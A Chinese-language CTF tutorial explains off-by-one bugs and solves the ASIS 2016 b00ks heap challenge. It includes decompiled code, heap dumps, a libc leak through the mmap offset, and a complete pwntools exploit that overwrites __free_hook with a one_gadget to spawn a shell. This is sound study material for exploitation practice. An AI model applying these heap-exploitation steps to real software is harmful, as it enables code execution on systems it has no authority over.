从零开始的 Pwn 之旅 - Off_by_one

从零开始的 Pwn 之旅 —— Off_by_one

漏洞成因

1. 循环条件计算错误

1
2
3
for (i = 0; i <= 10; i++) {
    // 循环体
}

上述代码实际上会执行 11 次循环。开发人员本意可能只想执行 10 次循环,实际上却多执行了一次,容易导致数组或缓冲区 越界


2. strcpy 函数使用不当

1
2
char buf[10];
strcpy(buf, "1234567890");

上述代码会将字符串 "1234567890" 拷贝到 buf 中,注意字符串以 \x00 结尾,实际长度为 11。而 buf 仅有 10 字节空间,因此会发生 缓冲区溢出


漏洞利用

溢出字节为任意字节

  • 当前 chunk 被使用时,其前一个 chunk 的 prev_size 字段会被当前 chunk覆盖;
  • 我们可以通过 off-by-one 溢出的任意字节覆盖 chunk 的 size 字段最低位;
  • 如果修改已经 free 的 chunk 的 size 字段,再用 malloc 分配内存,就可能分配到比预期更大的 chunk;
  • 这样就会导致堆块重叠,进而泄露或覆盖其他堆块的数据。

溢出字节为 NULL 字节

  • 主要配合 unlink 攻击手法使用
  • 后文将详细介绍 unlink 的攻击流程

例题

Asis_2016_b00ks

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
~/P/c/p/l/u/h/o/Asis_2016_b00ks ❯❯❯ chmod +x ./b00ks                (.venv) master ✱ ◼
'./b00ks' 的模式已由 0644 (rw-r--r--) 更改为 0755 (rwxr-xr-x)
~/P/c/p/l/u/h/o/Asis_2016_b00ks ❯❯❯ pwn checksec b00ks              (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/heap/off_by_one/Asis_2016_b00ks/b00ks'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
~/P/c/p/l/u/h/o/Asis_2016_b00ks ❯❯❯ ./b00ks                         (.venv) master ✱ ◼
Welcome to ASISCTF book library
Enter author name: lhon901

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> ^C
~/P/c/p/l/u/h/o/Asis_2016_b00ks ❯❯❯                           (.venv)130 master ✱ ◼

程序逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v4; // eax

  setvbuf(stdout, 0, 2, 0);
  v3 = stdin;
  setvbuf(stdin, 0, 1, 0);
  prompt(v3);
  change_author_name(v3);
  while ( 1 )
  {
    v4 = sub_A89();
    if ( v4 == 6 )
      break;
    switch ( v4 )
    {
      case 1:
        create(v3);
        break;
      case 2:
        detele(v3);
        break;
      case 3:
        edit(v3);
        break;
      case 4:
        print(v3);
        break;
      case 5:
        change_author_name(v3);
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0;
}

change_author_name 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 change_author_name()
{
  printf("Enter author name: ");
  if ( !(unsigned int)read_buffer(off_202018, 32) )
    return 0;
  printf("fail to read author_name");
  return 1;
}


__int64 __fastcall read_buffer(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( a2 <= 0 )
    return 0;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, a1, 1u) != 1 )
      return 1;
    if ( *a1 == '\n' )
      break;
    ++a1;
    if ( i == a2 )
      break;
  }
  *a1 = 0;
  return 0;
}

这里的 read_buffer 函数使用 for 循环来读取输入, 末尾会自动添加 \x00 字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.data:0000000000202018 author_name_ptr dq offset unk_202040    ; DATA XREF: change_author_name+15↑o

.bss:0000000000202040 unk_202040      db    ? ;               ; DATA XREF: .data:author_name_ptr↑o
.bss:0000000000202041                 db    ? ;
.bss:0000000000202042                 db    ? ;
.bss:0000000000202043                 db    ? ;
.bss:0000000000202044                 db    ? ;
.bss:0000000000202045                 db    ? ;
.bss:0000000000202046                 db    ? ;
.bss:0000000000202047                 db    ? ;
.bss:0000000000202048                 db    ? ;
.bss:0000000000202049                 db    ? ;
.bss:000000000020204A                 db    ? ;
.bss:000000000020204B                 db    ? ;
.bss:000000000020204C                 db    ? ;
.bss:000000000020204D                 db    ? ;
.bss:000000000020204E                 db    ? ;
.bss:000000000020204F                 db    ? ;
.bss:0000000000202050                 db    ? ;
.bss:0000000000202051                 db    ? ;
.bss:0000000000202052                 db    ? ;
.bss:0000000000202053                 db    ? ;
.bss:0000000000202054                 db    ? ;
.bss:0000000000202055                 db    ? ;
.bss:0000000000202056                 db    ? ;
.bss:0000000000202057                 db    ? ;
.bss:0000000000202058                 db    ? ;
.bss:0000000000202059                 db    ? ;
.bss:000000000020205A                 db    ? ;
.bss:000000000020205B                 db    ? ;
.bss:000000000020205C                 db    ? ;
.bss:000000000020205D                 db    ? ;
.bss:000000000020205E                 db    ? ;
.bss:000000000020205F                 db    ? ;
.bss:0000000000202060 unk_202060      db    ? ;               ; DATA XREF: .data:library_ptr↑o

可以看到大小是 0x20 即 32, 这就这里导致 read_buffer 这个函数会溢出 NULL 字节到 unk_202060

create 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 create()
{
  int size; // [rsp+0h] [rbp-20h] BYREF
  int idx; // [rsp+4h] [rbp-1Ch]
  book *struct_ptr; // [rsp+8h] [rbp-18h]
  void *book_name_ptr; // [rsp+10h] [rbp-10h]
  void *description_chunk_ptr; // [rsp+18h] [rbp-8h]

  size = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  book_name_ptr = malloc(size);
  if ( !book_name_ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)read_buffer(book_name_ptr, size - 1) )
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  size = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    description_chunk_ptr = malloc(size);
    if ( description_chunk_ptr )
    {
      printf("Enter book description: ");
      if ( (unsigned int)read_buffer(description_chunk_ptr, size - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        idx = return_free_idx_from_library();
        if ( idx == -1 )
        {
          printf("Library is full");
        }
        else
        {
          struct_ptr = (book *)malloc(0x20u);
          if ( struct_ptr )
          {
            LODWORD(struct_ptr->size) = size;
            *((_QWORD *)library_ptr + idx) = struct_ptr;
            struct_ptr->description_chunk_ptr = (uint64_t)description_chunk_ptr;
            struct_ptr->book_name_ptr = (uint64_t)book_name_ptr;
            LODWORD(struct_ptr->unknow) = ++unk_202024;
            return 0;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( book_name_ptr )
    free(book_name_ptr);
  if ( description_chunk_ptr )
    free(description_chunk_ptr);
  if ( struct_ptr )
    free(struct_ptr);
  return 1;
}

delete 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 detele()
{
  int id; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &id);
  if ( id > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)library_ptr + i) || **((_DWORD **)library_ptr + i) != id); ++i )// 返回最后一个不为空 node 的 id
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)library_ptr + i) + 8LL));// free bookname ptr
      free(*(void **)(*((_QWORD *)library_ptr + i) + 16LL));// free description ptr
      free(*((void **)library_ptr + i));        // free book struct
      *((_QWORD *)library_ptr + i) = 0;
      return 0;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1;
}

edit 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 edit()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)library_ptr + i) || **((_DWORD **)library_ptr + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)read_buffer(
                            *(_BYTE **)(*((_QWORD *)library_ptr + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)library_ptr + i) + 24LL) - 1) )
        return 0;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id");
  }
  return 1;
}

print 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int print()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)library_ptr + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((_DWORD **)library_ptr + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)library_ptr + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)library_ptr + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)author_name_ptr);
    }
  }
  return v0;
}

由于 author_name 和 library_ptr 相连,我们可以通过填满 author_name 来泄露 library_ptr
由于我们填满 author_name 缓冲区会导致溢出 NULL 字节, 导致 library_ptr 发生改变, 所以我们需要先填充 author_name 再 create, 程序正好开头就给了我们这样一个机会

1
2
3
4
5
6
7
if __name__ == "__main__":
    createname(b"a" * (0x20 - 0x4) + b"bbbb")
    createbook(0x20, "book", 0x10, "description")
    id, name, des, author = printbook(1)
    idx = author.find(b"bbbb") + 4
    library_ptr = author[idx : idx + 6]
    print("library_ptr:", hex(u64(library_ptr + b"\x00\x00")))

通过上面的代码之后我们可以看到相关 heap 的情况

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
pwndbg> x/20gx 0x563fa2e3c010
0x563fa2e3c010: 0x0000000000000000 0x0000000000000031
0x563fa2e3c020: 0x000000006b6f6f62 0x0000000000000000
0x563fa2e3c030: 0x0000000000000000 0x0000000000000000
0x563fa2e3c040: 0x0000000000000000 0x0000000000000021
0x563fa2e3c050: 0x7470697263736564 0x00000000006e6f69
0x563fa2e3c060: 0x0000000000000000 0x0000000000000031
0x563fa2e3c070: 0x0000000000000001 0x0000563fa2e3c020
0x563fa2e3c080: 0x0000563fa2e3c050 0x0000000000000010
0x563fa2e3c090: 0x0000000000000000 0x0000000000020f71
0x563fa2e3c0a0: 0x0000000000000000 0x0000000000000000

此时泄露出 library_ptr: 0x563fa2e3c070, 如果我们溢出 NULL 字节的话此时 library_ptr 就会变成 0x563fa2e3c000
如果我们可以伪造一个 chunk 的话,也就能获得任意地址读写的能力

01

我们考虑通过 chunk 大小来控制

1
2
3
4
5
6
7
if __name__ == "__main__":
    createname(b"a" * (0x20 - 0x4) + b"bbbb")
    createbook(0xD0, "book", 0x20, "description")
    id, name, des, author = printbook(1)
    idx = author.find(b"bbbb") + 4
    library_ptr = author[idx : idx + 6]
    print("library_ptr:", hex(u64(library_ptr + b"\x00\x00")))

此时内存布局: library_ptr: 0x5580efe0c130

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
pwndbg> x/20gx 0x00005580efe0c100-0x10
0x5580efe0c0f0: 0x0000000000000000      0x0000000000000031
0x5580efe0c100: 0x7470697263736564      0x00000000006e6f69
0x5580efe0c110: 0x0000000000000000      0x0000000000000000
0x5580efe0c120: 0x0000000000000000      0x0000000000000031
0x5580efe0c130: 0x0000000000000001      0x00005580efe0c020
0x5580efe0c140: 0x00005580efe0c100      0x0000000000000020
0x5580efe0c150: 0x0000000000000000      0x0000000000000031
0x5580efe0c160: 0x0000000000000002      0x00007f2a865f2010
0x5580efe0c170: 0x00007f2a865d0010      0x0000000000021000
0x5580efe0c180: 0x0000000000000000      0x0000000000020e81

此时 library_ptr 末尾被置零后将指向 0x5580efe0c100 既 desc 区域
伪造 chunk 区域

1
2
3
4
5
+-------+-----------------+
+  id:1 + name: leak addr +
+-------+-----------------+
+ desc: modifity addr + unkown +
+-------+------------------+

这里我们需要泄露 libc 地址,这里有两种思路

mmap 是一个内核调用,行为完全由内核控制,因此此手法具有版本强相关性。相同的 glibc 版本可能在不同的内核版本下位置完全不同,由此造成利用失败
环境:

ubuntu 22.04
Linux vm 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
glibc:
/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 (0x00007f59bd200000)
/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.2 (0x00007f59bd87f000)

  • malloc 很大一个数, ptmalloc2 会使用 mmap 的方式进行堆扩展(mmap 出来的地址会被分配在 libc 附近,并且中间没有随机的偏移)
  • 将 libc 的地址读到 heap 上然后读出来

为什么 mmap 与 libc 之间存在固定的偏移?

首先我们来回忆下程序的启动逻辑:

  1. 内核加载 ELF 可执行文件
  2. 内核加载动态链接器(ld.so)
  3. 控制权传递给动态链接器
  4. 动态链接器加载所需的共享库(包括 libc)
  5. 动态链接器将控制权传回程序入口点

ld 加载共享库使用到了 mmap 来创建内存段

我们再来看 mmap 相关函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
/**
 * vm_unmapped_area - 在给定约束条件下找到一个未映射的内存区域
 * @info: 包含搜索参数的约束条件
 */
unsigned long vm_unmapped_area(struct vm_unmapped_area_info *info)
{
    unsigned long addr;

    if (info->flags & VM_UNMAPPED_AREA_TOPDOWN)
        addr = unmapped_area_topdown(info);
    else
        addr = unmapped_area_bottomup(info);

    return addr;
}

mmap 段映射的地址通常使用 unmapped_area_topdown

此函数从高地址向低地址方向搜索可分配地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
{
    struct mm_struct *mm = current->mm;
    struct vm_area_struct *vma;
    unsigned long length, low_limit, high_limit, gap_start, gap_end;

    /* 设置约束条件 */
    length = info->length;
    low_limit = max(PAGE_ALIGN(info->low_limit), mmap_min_addr);
    high_limit = min(info->high_limit, mm->mmap_base);

    /* 从高地址开始遍历搜索 */
    gap_end = high_limit;
    if (gap_end < length)
        return -ENOMEM;

    /* 遍历现有映射,寻找合适的间隙 */
    for (vma = find_vma(mm, high_limit - length); vma; vma = vma->vm_prev) {
        /* 这里有详细的间隙计算和适应性检查代码 */
        gap_start = vm_end_gap(vma->vm_prev);
        if (gap_start < low_limit)
            return -ENOMEM;
        
        gap_end = vm_start_gap(vma);
        if (gap_end < length)
            continue;
            
        /* 寻找合适的对齐位置 */
        gap_end -= length;
        if (gap_end < low_limit)
            continue;
        
        gap_end = align_addr(gap_end, info);
        if (gap_end >= gap_start)
            return gap_end;
    }

    /* 处理第一个间隙的情况 */
    gap_start = PAGE_ALIGN(low_limit);
    gap_end = high_limit - length;
    if (gap_end >= gap_start)
        return align_addr(gap_end, info);

    return -ENOMEM;
}

重点观察这行代码:

1
    high_limit = min(info->high_limit, mm->mmap_base);

这是搜索可分配地址的起点
mm->mmap_base 的分配算法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void arch_pick_mmap_layout(struct mm_struct *mm)
{
    unsigned long random_factor = 0UL;
    
    /* 8 bits of randomness in 32bit mmaps, 20 bits in 64bit mmaps */
    if (current->flags & PF_RANDOMIZE) {
        random_factor = get_random_int() & ((1<<mmap_rnd_bits)-1);
        random_factor <<= PAGE_SHIFT;
    }
    
    if (mmap_is_legacy()) {
        // 传统方式 (自底向上)
        mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
        mm->get_unmapped_area = arch_get_unmapped_area;
    } else {
        // 现代方式 (自顶向下)
        mm->mmap_base = mmap_base(random_factor);
        mm->get_unmapped_area = arch_get_unmapped_area_topdown;
    }
}

static unsigned long mmap_base(unsigned long rnd)
{
    unsigned long gap = rlimit(RLIMIT_STACK);
    
    if (gap < MIN_GAP)
        gap = MIN_GAP;
    else if (gap > MAX_GAP)
        gap = MAX_GAP;
        
    return PAGE_ALIGN(STACK_TOP - gap - rnd);
}

可得 mmap_base = STACK_TOP - gap - random_factor

看到这观众老爷可能已经云里雾里了, 我们现在来简单总结一下

  1. ALSR 不会对 libc 段进行随机化
  2. ALSR 会对 mmap 段进行随机化
  3. ld 加载 libc 时使用了 mmap 来分配地址, libc 的地址随机化是依赖 alsr 对 mmap 随机化实现的
  4. 因此我们得出 mmap 段映射的地址和 libc 地址段具有相同的随机偏移因子,也即它们之间的偏移是一个常数
  • TODO: ld 相关文章

我们来看 mmap 这种方法

02

我们在 name_ptr 处填入 heap 上 mmap 的地址来泄露 mmap 地址

__free_hook 是 libc 上的一个地址,我们暂时还暂时不知道
desc_ptr 处填入这个 chunk 的数据区的 header,以便我们在获得 libc_base 之后填入 __free_hook 的地址

注意

__free_hook 会在后文中介绍

泄露 libc_base:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    # mmap 测算 offset
    createbook(0x21000, 'aaaa', 0x21000, 'bbbb')
    mmap_addr = library_ptr + 0x40
    editbook(1, p64(1) + p64(mmap_addr) + p64(library_ptr - 0x20) + p64(0x20))
    changename(b"a" * 0x20)
    id, name, des, author = printbook(1)
    print(repr(name))
    libc_base = u64(name.ljust(8, b'\x00')) - 0x5a8000 - 0x10
    success(f'libc_base: {hex(libc_base)}')
    # gdb.attach(io)

最终 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF('/home/lhon901/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
io=process("./b00ks")
# context.terminal = ['tmux', 'spiltw', '-v']


def createbook(name_size,name,des_size,des):
        io.readuntil("> ")
        io.sendline("1")
        io.readuntil(": ")
        io.sendline(str(name_size))
        io.readuntil(": ")
        io.sendline(name)
        io.readuntil(": ")
        io.sendline(str(des_size))
        io.readuntil(": ")
        io.sendline(des)

def printbook(id):
        io.readuntil("> ")
        io.sendline("4")
        io.readuntil(": ")
        for i in range(id):
                book_id=int(io.readline()[:-1])
                io.readuntil(": ")
                book_name=io.readline()[:-1]
                io.readuntil(": ")
                book_des=io.readline()[:-1]
                io.readuntil(": ")
                book_author=io.readline()[:-1]
        return book_id,book_name,book_des,book_author

def createname(name):
        io.readuntil("name: ")
        io.sendline(name)

def changename(name):
        io.readuntil("> ")
        io.sendline("5")
        io.readuntil(": ")
        io.sendline(name)

def editbook(book_id,new_des):
        io.readuntil("> ")
        io.sendline("3")
        io.readuntil(": ")
        io.writeline(str(book_id))
        io.readuntil(": ")
        io.sendline(new_des)

def deletebook(book_id):
        io.readuntil("> ")
        io.sendline("2")
        io.readuntil(": ")
        io.sendline(str(book_id))


if __name__ == "__main__":
    createname(b"a" * (0x20 - 0x4) + b"bbbb")
    createbook(0xD0, "book", 0x20, "description")
    id, name, des, author = printbook(1)
    idx = author.find(b"bbbb") + 4
    library_ptr = u64(author[idx : idx + 6] + b'\x00\x00')
    print("library_ptr:", hex(library_ptr))

    # mmap 测算 offset
    createbook(0x21000, 'aaaa', 0x21000, 'bbbb')
    mmap_addr = library_ptr + 0x40
    editbook(1, p64(1) + p64(mmap_addr) + p64(library_ptr - 0x20) + p64(0x20))
    changename(b"a" * 0x20)
    id, name, des, author = printbook(1)
    print(repr(name))
    libc_base = u64(name.ljust(8, b'\x00')) - 0x5a8000 - 0x10
    success(f'libc_base: {hex(libc_base)}')

    # free_hook
    free_hook = libc_base + libc.symbols["__free_hook"]
    sh = [0x4527a, 0xf03a4, 0xf1247]
    one_gadget = libc_base + sh[0]
    log.success("free_hook:" + hex(free_hook))
    log.success("one_gadget:" + hex(one_gadget))
    editbook(1, p64(free_hook) + p64(0x20))
    editbook(1, p64(one_gadget))

    deletebook(1)
    # gdb.attach(io)

    io.interactive()